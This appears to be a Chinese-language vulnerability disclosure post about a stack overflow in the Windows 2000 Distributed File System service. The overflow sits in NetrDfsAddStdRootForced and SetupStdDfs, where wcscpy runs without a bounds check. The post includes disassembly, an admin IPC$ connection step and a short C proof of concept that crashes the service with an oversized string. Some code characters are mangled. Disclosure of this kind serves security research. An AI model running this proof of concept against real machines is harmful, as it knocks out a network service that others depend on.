Distributed File System服务远程问题

忧郁西西

　　1.前言:
　　
　　最近在windows 2000 advanced server下研究Distributed File System服务的时候,在当中一个函数发现一个溢出,经过测试,发现需要远程通过目标机的管理员组成员和Distributed File System服务建立name pipe,才能发生溢出,不知道这样的问题,属于不属于安全漏洞呢？
　　
　　今天决定发出来给大家共同研究一下,说不定有可能其他高手发现不需要通过目标机的管理员组成员权限来进行溢出,那这个就算真正的安全问题了,而且危害性肯定也强了。
　　
　　2.问题细节:
　　
　　这个溢出问题,是发生在Distributed File System服务里面的NetrDfsAddStdRootForced函数在处理第四个参数上面,这个第四个参数是会作为第五个参数传递给SetupStdDfs的,在这个函数里面调用wcscpy,问题出在这里没有进行边界检查,导致溢出的代码如下:
　　
　　NetrDfsAddStdRootForced函数
　　...............
　　.text:0100A2B5　　　　　　　　 mov　　 edi, [ebp arg_C]
　　.text:0100A2B8　　　　　　　　 test　　 edi, edi
　　.text:0100A2AF　　　　　　　　　 jz　　　 loc_100A373
　　...............
　　.text:0100A31F　　　　　　　　 push　　 edi
　　.text:0100A320　　　　　　　　 push　　 1
　　.text:0100A322　　　　　　　　 push　　 [ebp arg_8]
　　.text:0100A325　　　　　　　　 lea　　 eax, [ebp var_214]
　　.text:0100A32B　　　　　　　　 push　　 [ebp arg_4]
　　.text:0100A32E　　　　　　　　 push　　 eax
　　.text:0100A32F　　　　　　　　 call　　 SetupStdDfs
　　...............
　　SetupStdDfs函数
　　.text:01007FB4　　　　　　　　 push　　 ebp
　　.text:01007FB5　　　　　　　　 mov　　 ebp, esp
　　.text:01007FB7　　　　　　　　 sub　　 esp, 658h
　　.text:01007FBD　　　　　　　　 push　　 ebx
　　.text:01007FBE　　　　　　　　 mov　　 ebx, ds:wcscpy
　　.text:01007FC4　　　　　　　　 push　　 esi
　　.text:01007FC5　　　　　　　　 push　　 edi
　　.text:01007FC6　　　　　　　　 xor　　 esi, esi
　　.text:01007FC8　　　　　　　　 xor　　 edi, edi
　　.text:01007FCA　　　　　　　　 cmp　　 [ebp arg_10], esi
　　.text:01007FCD　　　　　　　　 jnz　　 short loc_1007FE2
　　...............
　　.text:01007FE2 loc_1007FE2:
　　.text:01007FE2　　　　　　　　 push　　 [ebp arg_10]
　　.text:01007FE5　　　　　　　　 lea　　 eax, [ebp var_43C]
　　.text:01007FEB　　　　　　　　 push　　 eax
　　.text:01007FEC　　　　　　　　 call　　 ebx ; wcscpy
　　
　　调用流程为:
　　
　　NetrDfsAddStdRootForced->SetupStdDfs->wcscpy
　　
　　3.溢出测试方法:
　　
　　(1).先使用目标机器的管理员组成员建立一个ipc$连接net use \目标机器ipipc$ 管理员组成员密码 /user:管理员组成员账号
　　
　　(2).使用如下测试代码测试:
　　#include <stdio.h>
　　#include <stdlib.h>
　　#include <windows.h>
　　#include <Lm.h>
　　#include <Lmdfs.h>
　　
　　#pragma comment(lib, "Netapi32.lib")
　　
　　int main (void)
　　{ wchar_t a[]=L"\\ip\"; //把ip替换为你的目标机器ip
　　wchar_t b[4000];
　　LPWSTR ServerName=a;
　　LPWSTR RootShare=L"fzk";
　　LPWSTR Comment=L"fzk";
　　LPWSTR Store;
　　int i;
　　
　　for (i = 0; i< 2000;i )
　　wcscat(b, L"A");
　　
　　Store = b;
　　
　　if( NetDfsAddStdRootForced( ServerName, RootShare, Comment, Store) == NERR_Success)
　　return TRUE;
　　
　　else
　　return FALSE;}
　　
　　把以上代码存为test.cpp,运行cl test.cpp编译,然后执行test.exe,到这里应该目标机器的Distributed File System服务已经down掉了。
　　
　　4.附加信息:
　　
　　在MSDN发现NetDfsAddStdRootForced API在windows 2003已经被弃用了Distributed File System服务在windows 2000服务器下面是默认开放的。 <